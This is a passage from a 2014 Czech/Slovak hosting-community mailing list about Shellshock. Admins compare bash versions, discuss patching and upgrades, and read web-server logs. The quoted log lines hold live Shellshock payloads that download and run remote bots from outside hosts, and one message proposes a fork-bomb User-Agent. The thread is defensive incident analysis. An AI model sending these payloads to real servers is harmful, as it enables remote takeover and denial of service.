Hele, z jineho stroje:

Ahoj, možná hloupá otázka - dá se nějak z logu zjistit, zda ten průnik byl úspěšný či nikoliv? Honza On 29.9.2014 10:02, Petr Krcmar wrote: _______________________________________________ Community-list mailing list Community-list(a)lists.vpsfree.cz http://lists.vpsfree.cz/listinfo/community-list

Na to mě napadá druhá hloupá otázka: Scientific Linux 6 stále nemá fixnutou verzi v repozitářích, že ne? A co s tím? Honza 29. 9. 2014 v 10:10, Michal Miklos <mimik(a)mimik.sk>sk>: > jedine si zistit ci mas dobru verziu bashu. > > >> On 29 Sep 2014, at 10:08, Jan B. Kolář >> <janbivoj.kolar(a)zazen-nudu.cz> wrote: >> >> Ahoj, >> >> možná hloupá otázka - dá se nějak z logu zjistit, zda ten >> průnik byl úspěšný či nikoliv? >> >> Honza >> >>> On 29.9.2014 10:02, Petr Krcmar wrote: Dne 29.9.2014 v 09:57 >>> Jiří Medvěd napsal(a): >>>> Hele, >>>> >>>> z jineho stroje: >>> Ano, to jsem našel taky. Zjevně se tam někdo snaží tlačit >>> rootkit: >>> >>> http://petrkrcmar.blog.root.cz/2014/09/29/utoky-na-bash-uz-bezi/ >> >> >>>

_______________________________________________ Community-list mailing list Community-list(a)lists.vpsfree.cz http://lists.vpsfree.cz/listinfo/community-list -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iF4EAREIAAYFAlQpF1cACgkQ5JdzTS3AJTZH0wEAmEzH0t1Jx5h87KZcT0yBaHHE aQtIdd8g0R0gkox18PwA+wdnJa6PU5UZAejwO+73++VCzwBUwHMe9OMAlIOlkTMZ =OESw -----END PGP SIGNATURE-----

Hm, nainstalovaná verze je 4.1.2-9 a yum mi ukazuje, že není žádná aktualizace. Smells fishy. 29. 9. 2014 v 10:24, Jiří Medvěd <admin(a)jirimedved.cz>cz>: Ahoj, ma -> bash 4.1.2-15.el6_5.2 (to je posledni opravena verze). Medved Dne 29.9.2014 v 10:18 Jan Sedlák napsal(a): >>>>>>

_______________________________________________ Community-list mailing list Community-list(a)lists.vpsfree.cz http://lists.vpsfree.cz/listinfo/community-list -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iF4EAREIAAYFAlQpGegACgkQ5JdzTS3AJTYGSgEAgOOP/ZsN8LOOEvHkFgSVoBHt IgJBnECbS0EvjznyoyMA/0q9HKfMVoUC0G/IEEr3nQUPs9gksd/Myd+27F+0QgXX =XszX -----END PGP SIGNATURE-----

Hm, nainstalovaná verze je 4.1.2-9 a yum mi ukazuje, že není žádná aktualizace. Smells fishy.

29. 9. 2014 v 10:24, Jiří Medvěd <admin(a)jirimedved.cz>cz>: _______________________________________________ Community-list mailing list Community-list(a)lists.vpsfree.cz http://lists.vpsfree.cz/listinfo/community-list

, tak to mám chápat jak?

Jinak by podle mě šlo především o díru ve webserveru, pokud by cokoliv založené na stringu, který poslal klient jako User-Agent, podstrkával shellu. A o té bychom jistě už také věděli, v této vzrušené době...

A pokud šel request na "/", nebude (s běžnou konfigurací) co spustit a tak nic spuštěno nebude. To byla moje "hlavní" hypotéza, proč by nás taková řádka v logu měla nechat v klidu. Hlavně tohle bych rád, kdyby někdo veřejně podpořil :).

Běžná konfigurace je - u webů psaných v PHP - že "/" spouští index.php. Těch bude IMO většina

jedine si zistit ci mas dobru verziu bashu. On 29 Sep 2014, at 10:08, Jan B. Kolář <janbivoj.kolar(a)zazen-nudu.cz> wrote: úspěšný či nikoliv? _______________________________________________ Community-list mailing list Community-list(a)lists.vpsfree.cz http://lists.vpsfree.cz/listinfo/community-list

Tak jsem to zkoumal a toto je celkem bezpecne, je to zda se pouze test, zda-li je ten bash zranitelnej, ale ve skutecnosti to nic nedela. 74.201.85.69/ec.z -> je pouze uvitaci stranka nginxu.

Upgraduj hlavne ten bash :) Medved Dne 29.9.2014 v 10:23 René Klačan napsal(a): (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)&qu… /var/log/nginx/access.log.1:89.207.135.125 - - [25/Sep/2014:11:26:32 _______________________________________________ Community-list mailing list Community-list(a)lists.vpsfree.cz http://lists.vpsfree.cz/listinfo/community-list

možná hloupá otázka - dá se nějak z logu zjistit, zda ten průnik byl úspěšný či nikoliv?

To by chtělo monitorovat síťový provoz z nějakého externího, zaručeně nenapadnutého stroje. S tímhle by zrovna VPSfree mohl pomoci, ne?

Dne 29.9.2014 v 10:34 Petr Krcmar napsal(a): Hotovo, nezáplatovaných bylo 382 VPS, tedy více než půlka (57 %). Majitelům šly maily s upozorněním. Díky Tomsovi za pomoc.

Petr Krcmar wrote: zkusíme nemají Zajímalo by mě, kolik z těch "nezáplatovaných" VPS bylo skutečně _zranitelných_. Ono je jedna věc zkusit někam zachrootovat a zkusit binárku (nebo jak jste to testovali), ale druhá věc je, jestli na tom serveru běží nějaké služby, přes které se ta chyba opravdu dá zneužít. _______________________________________________ Community-list mailing list Community-list(a)lists.vpsfree.cz http://lists.vpsfree.cz/listinfo/community-list

Inak, napadlo mi, ze webka beziaca na plain CGI s neupdatnutym Bashom sa vlastne da velmi jednoducho "DoS-ovat" z jedineho pocitaca s jedinym requestom. Staci ako user-agenta poslat fork-bomb :) :(){ :|:& };: V pripade vpsFree by toto bol celkom pruser, nakolko by to asi polozilo nielen danu VPS, ale zrejme celu masinu. to ze je to signal toho ze admin je ignorant a kasle na bezpecnostni aktualizace. a takovahle chyba bashe lze zneuzit nejen primo prez cgi, ale napriklad kombinaci s jinou chybou (ruzne formy injectingu v interpretovanych jazycich, atd...). takze rict ze nejakej server jenom proto ze nema pustenej apache neni zneuzitelnej proste nejde... <http://trekker.dk/>@abclinuxu.cz> napsal: zkusíme nemají zneužít. <http://lists.vpsfree.cz/listinfo/community-list> prosím moji stručnost. ------------------------------------------------------------------------ _______________________________________________ Community-list mailing list Community-list(a)lists.vpsfree.cz http://lists.vpsfree.cz/listinfo/community-list

debian squeeze ale bez LTS repozitárů,

Tiez dakujem - som dohladal ako do Squeeze pridat LTS repozitare a uz je vsetko ok. Juro Chlebec 2014-09-29 13:57 GMT+02:00 Nikos Timiopulos &lt;nikos(a)manikstudio.cz&gt;cz>: -- Juraj Chlebec aka Havran http://www.svoji.sk _______________________________________________ Community-list mailing list Community-list(a)lists.vpsfree.cz http://lists.vpsfree.cz/listinfo/community-list

Chystam sa robit dist upgrade z wheezy na squeeze. Ma s tym niekto prakticke skusenosti? Viem, ze je to 50:50 - bud to pojde, alebo nie, ale ak mate niekto prakticku skusenost a riesili ste aj nejaky problem, urcite pomozete :) Dik. Miso Dňa pondelok, 29. septembra 2014 Jiří Čermák &lt;jirka.cer(a)gmail.com <javascript:_e(%7B%7D,'cvml','jirka.cer@gmail.com');>> napísal(a): > Byl jsem na tom podobně. Pořád jsem zkoušel aktualizovat a nic. Pak jsem > zjistil, že jsem neměl přidaný LTS repozitář. :) > > > Dne 29. září 2014 14:16 Juraj Chlebec &lt;havran(a)gmail.com&gt; napsal(a): > >> Tiez dakujem - som dohladal ako do Squeeze pridat LTS repozitare a uz je >> vsetko ok. >> >> Juro Chlebec >> >> 2014-09-29 13:57 GMT+02:00 Nikos Timiopulos &lt;nikos(a)manikstudio.cz&gt;cz>: >> >>> Ahoj, >>> >>> za toto díky! Připomnělo mi to vpsku kde je debian squeeze ale bez LTS >>> repozitárů, které záplatu obsahují. Pro podobné zapomnětlíky: >>> https://wiki.debian.org/LTS/Using >>> >>> >>> Nikos >>> >>> On 29 Sep 2014, at 13:35, Petr Krcmar &lt;petr.krcmar(a)vpsfree.cz&gt; wrote: >>> >>> Dne 29.9.2014 v 10:34 Petr Krcmar napsal(a): >>> >>> V tuhle chvíli děláme na tom, abychom zjistili, které VPS jsou ještě >>> napadnutelné. Za chvíli obejdeme všechny nainstalované bashe a zkusíme >>> na nich upravenou proměnnou. Upozorníme uživatele, kteří ještě nemají >>> záplatu (a zveřejním nějakou statistiku). >>> >>> >>> Hotovo, nezáplatovaných bylo 382 VPS, tedy více než půlka (57 %). >>> Majitelům šly maily s upozorněním. Díky Tomsovi za pomoc. >>> >>> -- >>> Petr Krčmář >>> vpsFree.cz >>> _______________________________________________ >>> Community-list mailing list >>> Community-list(a)lists.vpsfree.cz >>> http://lists.vpsfree.cz/listinfo/community-list >>> >>> >>> >>> _______________________________________________ >>> Community-list mailing list >>> Community-list(a)lists.vpsfree.cz >>> http://lists.vpsfree.cz/listinfo/community-list >>> >>> >> >> >> -- >> Juraj Chlebec aka Havran >> http://www.svoji.sk >> >> >> _______________________________________________ >> Community-list mailing list >> Community-list(a)lists.vpsfree.cz >> http://lists.vpsfree.cz/listinfo/community-list >> >> >

Chystam sa robit dist upgrade z wheezy na squeeze. Ma s tym niekto prakticke skusenosti? Viem, ze je to 50:50 - bud to pojde, alebo nie, ale ak mate niekto prakticku skusenost a riesili ste aj nejaky problem, urcite pomozete :) Dik. Miso Dňa pondelok, 29. septembra 2014 Jiří Čermák &lt;jirka.cer(a)gmail.com&gt; napísal(a): >Byl jsem na tom podobně. Pořád jsem zkoušel aktualizovat a nic. Pak >jsem zjistil, že jsem neměl přidaný LTS repozitář. :) > > >Dne 29. září 2014 14:16 Juraj Chlebec ><javascript:_e(%7B%7D,'cvml','havran@gmail.com');> napsal(a): >>Tiez dakujem - som dohladal ako do Squeeze pridat LTS repozitare a uz >>je vsetko ok. >> >>Juro Chlebec >> >>2014-09-29 13:57 GMT+02:00 Nikos Timiopulos >><javascript:_e(%7B%7D,'cvml','nikos@manikstudio.cz');>: >>>Ahoj, >>> >>>za toto díky! Připomnělo mi to vpsku kde je debian squeeze ale bez >>>LTS repozitárů, které záplatu obsahují. Pro podobné zapomnětlíky: >>>https://wiki.debian.org/LTS/Using >>> >>> >>>Nikos >>> >>>On 29 Sep 2014, at 13:35, Petr Krcmar >>><javascript:_e(%7B%7D,'cvml','petr.krcmar@vpsfree.cz');> wrote: >>> >>>>Dne 29.9.2014 v 10:34 Petr Krcmar napsal(a): >>>>>V tuhle chvíli děláme na tom, abychom zjistili, které VPS jsou >>>>>ještě >>>>>napadnutelné. Za chvíli obejdeme všechny nainstalované bashe a >>>>>zkusíme >>>>>na nich upravenou proměnnou. Upozorníme uživatele, kteří ještě >>>>>nemají >>>>>záplatu (a zveřejním nějakou statistiku). >>>> >>>>Hotovo, nezáplatovaných bylo 382 VPS, tedy více než půlka (57 %). >>>>Majitelům šly maily s upozorněním. Díky Tomsovi za pomoc. >>>> >>>>-- >>>>Petr Krčmář >>>>vpsFree.cz >>>>_______________________________________________ >>>>Community-list mailing list >>>>javascript:_e(%7B%7D,'cvml','Community-list@lists.vpsfree.cz'); >>>>http://lists.vpsfree.cz/listinfo/community-list >>> >>> >>>_______________________________________________ >>>Community-list mailing list >>>javascript:_e(%7B%7D,'cvml','Community-list@lists.vpsfree.cz'); >>>http://lists.vpsfree.cz/listinfo/community-list >>> >> >> >> >>-- >>Juraj Chlebec aka Havran >>http://www.svoji.sk >> >> >>_______________________________________________ >>Community-list mailing list >>javascript:_e(%7B%7D,'cvml','Community-list@lists.vpsfree.cz'); >>http://lists.vpsfree.cz/listinfo/community-list >> >

On 30 Sep 2014, at 00:30, Nikos Timiopulos &lt;nikos(a)manikstudio.cz&gt; wrote: Doporučuju si na to vytvořit VPS na playgroundu, odladit a pak přehodit. Pokud používáš mysql, apache apod. z balíčků squeeze, je vhodné se podívat na dokumentaci migrace jednotlivých verzí - např. u mysql doporučují nejprve vytvořit zálohu a tu následně obnovit už v nové verzi mysql (http://dev.mysql.com/doc/refman/5.5/en/upgrading-from-previous-series.html <http://dev.mysql.com/doc/refman/5.5/en/upgrading-from-previous-series.html>). Třeba ještě pomůžou moje ne moc pohledné noob poznámky s postupem, které jsem během upgradu sepsal. Nejprve jsou vypsány configy balíčků, kterých se upgrade týkal a dával na výběr, zda ponechat současný config, nebo nahradit novým. To bude samozřejmě individuální, nicméně v mém případě byl problém akorát s mysql: /etc/crontab /etc/default/rkhunter /etc/fail2ban/jail.conf /etc/sudoers * /etc/mysql/my.cnf /etc/php5/cli/php.ini /etc/php5/cgi/php.ini /etc/default/saslauthd /etc/apache2/mods-available/ssl.conf /etc/apache2/apache2.conf /etc/apache2/mods-available/php5.conf /etc/php5/apache2/php.ini mysql: http://dev.mysql.com/doc/refman/5.5/en/upgrading-from-previous-series.html <http://dev.mysql.com/doc/refman/5.5/en/upgrading-from-previous-series.html> mysqldump -u root -p --all-databases > backup.sql mysql -u root -p < backup.sql 0) apt-get remove --purge dovecot-common 1) apt-get update & upgrade & dist-upgrade of current distribution 2) dpgk --audit 3) mysql dump 4) edit sources.list squeeze -> wheezy 5) apt-get update & upgrade & dist-upgrade (keep current configs) 6) NOW - problem with mysql, replace old my.cnf with new my.cnf.dpkg-dist 7) apt-get autoremove 8) dpkg --audit , aptitude reinstall ****** all the packages listed in dpkg --audit 9) create /etc/my.cnf with: [mysqld] open_files_limit = 100000 9) mysql from dump (recommended by mysql) 10) apt-get install dovecot-common dovecot-imapd dovecot-pop3d On 29 Sep 2014, at 23:20, Michal Dobsovic &lt;dobsovic(a)itlearning.sk <mailto:dobsovic@itlearning.sk>> wrote: _______________________________________________ Community-list mailing list Community-list(a)lists.vpsfree.cz http://lists.vpsfree.cz/listinfo/community-list

Poradíte, co teď dál?

On 29 Sep 2014, at 10:37, Jan B. Kolář &lt;janbivoj.kolar(a)zazen-nudu.cz&gt; wrote: Díky za odpovědi, ano, to jsem si myslel. Mě právě zarazilo, že v logu mám nějaké odpovědi 200: 70.42.149.67 - - [28/Sep/2014:08:16:30 +0200] "GET /test HTTP/1.0" 404 168 "-" "() { :;}; /bin/bash -c \x22wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\x22" 70.42.149.67 - - [28/Sep/2014:08:16:30 +0200] "GET /cgi-bin/test.sh HTTP/1.0" 404 168 "-" "() { :;}; /bin/bash -c \x22wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\x22" 70.42.149.67 - - [28/Sep/2014:08:16:31 +0200] "GET / HTTP/1.0" 200 3296 "-" "() { :;}; /bin/bash -c \x22wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\x22" 212.51.60.58 - - [29/Sep/2014:00:30:18 +0200] "GET / HTTP/1.0" 200 3296 "-" "() { :;}; /bin/bash -c \x22wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh\x22" A to přesto, že jsem bash aktualizoval už 24. a 26.9. (mám aktuální verzi Debianu). Viz výpis "less /var/log/apt/history.log": Start-Date: 2014-09-24 16:38:28 Upgrade: bash:amd64 (4.2+dfsg-0.1, 4.2+dfsg-0.1+deb7u1) End-Date: 2014-09-24 16:38:34 Start-Date: 2014-09-26 08:39:57 Install: php5-cli:amd64 (5.4.33-1~dotdeb.1) End-Date: 2014-09-26 08:40:18 Start-Date: 2014-09-26 15:10:51 Upgrade: bash:amd64 (4.2+dfsg-0.1+deb7u1, 4.2+dfsg-0.1+deb7u3) End-Date: 2014-09-26 15:11:23 Poradíte, co teď dál? Honza On 29.9.2014 10:12, Petr Krcmar wrote: _______________________________________________ Community-list mailing list Community-list(a)lists.vpsfree.cz http://lists.vpsfree.cz/listinfo/community-list

Osobne si myslim ze 200 odpovede nemusia nic znamenat. Ked si vsimnes, 404 to vratilo pri /test a /cgi-bin/test.sh co su URL ktore ocividne nemas, ale / ocividne mas :) a tam to vratilo 200. Ono aj ked mas zranitelny bash, stale sa nic nemuselo stat, problem je hlavne ak web bezi cez CGI, a co som sa o tom bavil so sysadminom jedneho zakaznika, tak pri FastCGI (bezne riesenie pri PHP pod nginx) SCGI a pod. vraj treba aby bash bol pouzity ako CGI jazyk, lebo FastCGI a pod. nepouzivju premenne prostredia na posuvanie informacii skriptu. A uprimne povedane, nepoznam vela webov ktore dnes bezia cez klasicke CGI, a pouzit bash ako skriptovaci jazyk pre FastCGI mi teda ako dobry napad nepride :) Anyways, 200 znamena, ze tvoj webserver uspesne spracoval request, a pokial zrovna nepouzivas CGI, tak mas viac menej Ty kontrolu nad tym ci je mozne obsah tych params spustit v shelli alebo nie :) _______________________________________________ Community-list mailing list Community-list(a)lists.vpsfree.cz http://lists.vpsfree.cz/listinfo/community-list

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 Hele, z jineho stroje: /var/log/nginx/access.log-20140929.gz:70.42.149.67 - - [28/Sep/2014:08:16:18 +0200] "GET / HTTP/1.0" 444 0 "-" "() { :;}; /bin/bash -c \x22wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\x22" Dne 29.9.2014 v 09:41 Petr Krcmar napsal(a): _______________________________________________ Community-list mailing list Community-list(a)lists.vpsfree.cz http://lists.vpsfree.cz/listinfo/community-list